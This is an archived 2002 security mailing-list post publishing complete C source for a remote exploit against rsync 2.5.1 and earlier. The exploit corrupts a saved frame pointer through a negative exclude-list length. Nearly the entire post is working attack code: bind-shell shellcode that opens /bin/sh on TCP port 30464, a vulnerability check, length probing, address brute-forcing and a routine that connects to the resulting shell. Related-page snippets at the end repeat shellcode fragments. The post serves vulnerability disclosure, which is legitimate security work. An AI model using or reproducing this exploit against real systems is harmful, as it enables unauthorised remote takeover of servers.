[EXPL] Linux Rsync Remote Exploit Code
From: support@securiteam.com
Date: 11/17/02
- Previous message: support@securiteam.com: "[REVS] Vulnerabilities in Your Code and Advanced Buffer Overflows"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: 17 Nov 2002 22:07:18 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
Beyond Security would like to welcome Tiscali World Online
to our service provider team.
For more info on their service offering IP-Secure,
please visit http://www.worldonline.co.za/services/work_ip.asp
- - - - - - - - -
Linux Rsync Remote Exploit Code
------------------------------------------------------------------------
SUMMARY
A vulnerability in rsync allows remote attackers to cause it to execute
arbitrary code.
DETAILS
Vulnerable systems:
* rsync version 2.5.1 and prior
Exploit:
/*
* linux rsync <= 2.5.1 remote exploit by sorbo (sorbox@yahoo.com)
*
* this is a simple frame pointer overflow:
*
* in exclude.c in recv_exclude_list(), l is declared as int.
* we can pass a negative value for l and fool l >= MAXPATHLEN
* read_sbuf will in turn do a buf[len] = 0; (without performing any
reads)
* we can modify read_sbuf's saved frame pointer by putting a 0 in the
LSB.
* When read_sbuf exits the stack pointer will be set to the modified
value
* we then pop a return address that lies on line[] where we can make it
point to our shellcode
* ... quite simple =D
*
* NOTE: in configuration chroot must be false
*
* running: ./sorsync -b -v 127.0.0.1
* should work on any linux =D
*
*
* greetz:
* #darkircop@undernet
* kewlcat@efnet (for telling me about the bug)
* gunzip@ircnet (moral support =P )
*
*/
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define MAXPATHLEN 4095
int nopcount = 80;
char shellcode[] =
/* port bind tcp/30464 ***/
/* fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) */
"\x31\xc0" // xorl %eax,%eax
"\x31\xdb" // xorl %ebx,%ebx
"\x31\xc9" // xorl %ecx,%ecx
"\x31\xd2" // xorl %edx,%edx
"\xb0\x66" // movb $0x66,%al
"\xb3\x01" // movb $0x1,%bl
"\x51" // pushl %ecx
"\xb1\x06" // movb $0x6,%cl
"\x51" // pushl %ecx
"\xb1\x01" // movb $0x1,%cl
"\x51" // pushl %ecx
"\xb1\x02" // movb $0x2,%cl
"\x51" // pushl %ecx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\xcd\x80" // int $0x80
/* port is 30464 !!! */
/* bind(fd, (struct sockaddr)&sin, sizeof(sin) ) */
"\xb3\x02" // movb $0x2,%bl
"\xb1\x02" // movb $0x2,%cl
"\x31\xc9" // xorl %ecx,%ecx
"\x51" // pushl %ecx
"\x51" // pushl %ecx
"\x51" // pushl %ecx
/* port = 0x77, change if needed */
"\x80\xc1\x77" // addb $0x77,%cl
"\x66\x51" // pushl %cx
"\xb1\x02" // movb $0x2,%cl
"\x66\x51" // pushw %cx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\xb2\x10" // movb $0x10,%dl
"\x52" // pushl %edx
"\x51" // pushl %ecx
"\x50" // pushl %eax
"\x8d\x0c\x24" // leal (%esp),%ecx
"\x89\xc2" // movl %eax,%edx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
/* listen(fd, 1) */
"\xb3\x01" // movb $0x1,%bl
"\x53" // pushl %ebx
"\x52" // pushl %edx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x66" // movb $0x66,%al
"\x80\xc3\x03" // addb $0x3,%bl
"\xcd\x80" // int $0x80
/* cli = accept(fd, 0, 0) */
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x50" // pushl %eax
"\x52" // pushl %edx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\xb3\x05" // movl $0x5,%bl
"\xb0\x66" // movl $0x66,%al
"\xcd\x80" // int $0x80
/* dup2(cli, 0) */
"\x89\xc3" // movl %eax,%ebx
"\x31\xc9" // xorl %ecx,%ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80
/* dup2(cli, 1) */
"\x41" // inc %ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3f" // movl $0x3f,%al
"\xcd\x80" // int $0x80
/* dup2(cli, 2) */
"\x41" // inc %ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80
/* execve("//bin/sh", ["//bin/sh", NULL], NULL); */
"\x31\xdb" // xorl %ebx,%ebx
"\x53" // pushl %ebx
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x8d\x54\x24\x08" // leal 0x8(%esp),%edx
"\x31\xc9" // xorl %ecx,%ecx
"\x51" // pushl %ecx
"\x53" // pushl %ebx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80" // int $0x80
/* exit(%ebx) */
"\x31\xc0" // xorl %eax,%eax
"\xb0\x01" // movb $0x1,%al
"\xcd\x80"; // int $0x80
struct sockaddr_in s_in;
char module[256]; /* module to use */
void die(int p, char *m) {
if(p)
perror(m);
else
printf("%s\n",m);
exit(0);
}
/* check if data is avaliable to be read */
int checkData(int s) {
int rd;
fd_set rfds;
struct timeval tv;
FD_ZERO(&rfds);
FD_SET(s, &rfds);
tv.tv_sec = 5;
tv.tv_usec = 0;
rd = select(s+1,&rfds,NULL,NULL,&tv);
if(rd < 0)
die(1,"select()");
return rd;
}
/* get data from server with timeout */
void get(int s) {
char buff[1024];
int rd;
while(1) {
rd = checkData(s);
if(rd == 0)
return;
rd = recv(s,buff,sizeof(buff),0);
if(!rd)
return;
if(rd == -1)
die(1,"recv()");
}
}
/*
* connects, gets version string and replies with same version
*
*/
int connect_and_version() {
int rd;
char buff[80];
int s = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
if(s < 0)
die(1,"socket()");
if(connect(s,(struct sockaddr*)&s_in,sizeof(s_in)) < 0)
die(1,"connect()");
/* get version and send same ver */
if( (rd = recv(s,buff,sizeof(buff),0)) < 1)
die(1,"recv()");
send(s,buff,rd,0);
return s;
}
/* send module and other stuff untill we arrive to recv_exclude_list() */
void login(int s) {
char buff[80];
/* send module name */
snprintf(buff,sizeof(buff),"%s\n",module);
send(s,buff,strlen(buff),0);
/* send stuff to get to recv_exclude_list() */
send(s,"--server\n",9,0);
send(s,"--sender\n",9,0);
send(s,"\n",1,0);
}
/* try to connect to the shell */
void ride() {
fd_set rfds;
int rd;
int s;
struct sockaddr_in s_in2;
char buff[1024];
memcpy(&s_in2,&s_in,sizeof(s_in2));
s_in2.sin_port = htons(30464);
s = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
if(s < 0)
die(1,"socket()");
if(connect(s,(struct sockaddr *)&s_in2,sizeof(s_in2)) < 0) {
close(s);
return; /* failed */
}
/* successs */
send(s,"id;\n",4,0);
while(1) {
FD_ZERO(&rfds);
FD_SET(0, &rfds);
FD_SET(s, &rfds);
if(select(s+1, &rfds, NULL, NULL, NULL) < 1)
exit(0);
if(FD_ISSET(0,&rfds)) {
if( (rd = read(0,buff,sizeof(buff))) < 1)
exit(0);
if( send(s,buff,rd,0) != rd)
exit(0);
}
if(FD_ISSET(s,&rfds)) {
if( (rd = recv(s,buff,sizeof(buff),0)) < 1)
exit(0);
write(1,buff,rd);
}
}
}
/* do the actual overflow
*
* len is the len that makes line[len] point to read_sbuf's LSB of the
saved FP
* line is the address of the line buffer
*
*/
void doOverflow(int len, int line,int align) {
int s,rd;
int *ptr;
char buff[MAXPATHLEN];
s = connect_and_version();
login(s);
printf("Trying with len=%d and line=0x%x (shellcode=0x%x)
align=%d\n",len,line,line+abs(len),align);
memset(buff,'A',align);
/* prepare egg and send it */
for(ptr = (int*) (&buff[0]+align); (char*)ptr <
((char*)&buff[MAXPATHLEN]-3); ptr++)
*ptr = (line+abs(len));
memset(buff+abs(len),'\x90',nopcount);
memcpy(buff+abs(len)+nopcount,shellcode,strlen(shellcode)); /* possible
overflow ;D */
/* prepare and send length */
rd = MAXPATHLEN -1;
send(s,&rd,sizeof(rd),0);
/* send egg */
send(s,buff,rd,0);
/* send len (overwrite fp */
send(s,&len,sizeof(len),0);
/* make recv_exclude_list() exit */
rd = 0;
send(s,&rd,sizeof(rd),0);
/* recieve any data from server and close */
get(s);
close(s);
/* check if exploitation was successfull */
ride();
}
/* gets a module name */
void getModule() {
int s,rd;
char mod[256];
char *ptr;
/* connect and get initial data */
s = connect_and_version();
get(s);
/* list and get modules */
send(s,"#list\n",6,0);
rd = recv(s,mod,sizeof(mod),0);
if(rd < 1)
die(1,"recv()");
mod[rd] = 0;
ptr = (char*)strchr(mod,' ');
if(!ptr)
return;
*ptr = 0;
snprintf(module,sizeof(module),"%s",mod);
if(module[0] == '@')
die(0,"No modules!!!");
close(s);
}
void usage(char *p) {
printf("Linux rsync <= 2.5.1 remote exploit by sorbo
(sorbox@yahoo.com)\n");
printf("Usage: %s <opts>\n",p);
printf("-h this lame message\n");
printf("-v victim ip\n");
printf("-m module name\n");
printf("-l len\n");
printf("-s line address\n");
printf("-b bruteforce\n");
printf("-f force:don't check vuln\n");
printf("-n number of NOPS\n");
printf("-a align\n");
exit(0);
}
/* check if vuln */
int checkVuln() {
int s,rd;
s = connect_and_version();
login(s);
get(s);
/* check for overflow */
rd = -1;
send(s,&rd,sizeof(rd),0);
/* now it either sends an overflow message
* (thus being not vuln )
* or it waits for input ... vuln
*/
if(!checkData(s))
return 1;
close(s);
return 0;
}
/* gets len variable
* it does so by seeing where ret addr of read_sbuf is
* it knows it overwrote the addr because the program will crash
* the fp will therefore be a word lower than the ret addr
*
*/
int getLen(int len) {
int s;
s = connect_and_version();
login(s);
get(s);
while(1) {
printf("Trying len %d...\n",len);
send(s,&len,sizeof(len),0);
if(checkData(s)) {
close(s);
return len-4;
}
len-=4;
}
}
int main(int argc, char *argv[]) {
int opt;
int m = 0;
int len = -4;
int line = 0xC0000000;
int check = 1;
int brute = 0; /* bruteforce ;D */
int l = 1;
int align = 0;
if(argc < 2)
usage(argv[0]);
while( (opt = getopt(argc,argv,"v:hm:l:s:bfn:a:")) != -1) {
switch(opt) {
case 'v':
s_in.sin_addr.s_addr = inet_addr(optarg);
break;
case 'm':
snprintf(module,sizeof(module),"%s",optarg);
m++;
break;
case 'l':
l = 0;
len = atoi(optarg);
break;
case 's':
if(sscanf(optarg,"%x",&line) == -1) {
printf("Invalid line address\n");
exit(0);
}
break;
case 'b':
brute = 1;
break;
case 'f':
check = 0;
break;
case 'n':
nopcount = atoi(optarg);
break;
case 'a':
align = atoi(optarg);
break;
case 'h':
default:
usage(argv[0]);
}
}
s_in.sin_family = PF_INET;
s_in.sin_port = htons(873);
if(!m) {
printf("Getting module name...\n");
getModule();
printf("Module=%s\n",module);
}
if(check) {
printf("Checking if vuln...\n");
if(checkVuln())
printf("Vuln!!\n");
else {
printf("Not vuln =(\n");
exit(0);
}
}
if(l) {
len = getLen(len);
printf("len=%d\n",len);
}
if(brute) {
while(1) {
doOverflow(len,line,align);
line -= (nopcount-1);
}
}
doOverflow(len,line,align);
exit(0);
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:sorbox@yahoo.com> sorbo.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Next message: support@securiteam.com: "[EXPL] Local Root Exploit for cifslogin on HP-UX"
- Previous message: support@securiteam.com: "[REVS] Vulnerabilities in Your Code and Advanced Buffer Overflows"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- [EXPL] CVS error_prog_name Buffer Overflow Exploit
... "\x31\xc0" // xorl %eax,%eax ... "\xb0\x66" // movb $0x66,%al ...
"\x51" // pushl %ecx ... "\xcd\x80" // int $0x80 ... (Securiteam) - [EXPL] SoX Local Buffer Overflow Exploiter (Via Crafted WAV File)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... "\x50" // pushl %eax ...
"\x89\xc3" // movl %eax,%ebx ... "\xcd\x80" // int $0x80 ... (Securiteam) - [UNIX] Citadel/UX Remote Format String
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... int connect_timeout(int
sfd, struct sockaddr *serv_addr, ... "\x50" // pushl %eax ... (Securiteam) - [UNIX] ngIRCd Format String Vulnerability
... int connect_timeout(int sfd, struct sockaddr *serv_addr, ... "\x50" //
pushl %eax ... perror(" setsockopt()"); ... (Securiteam)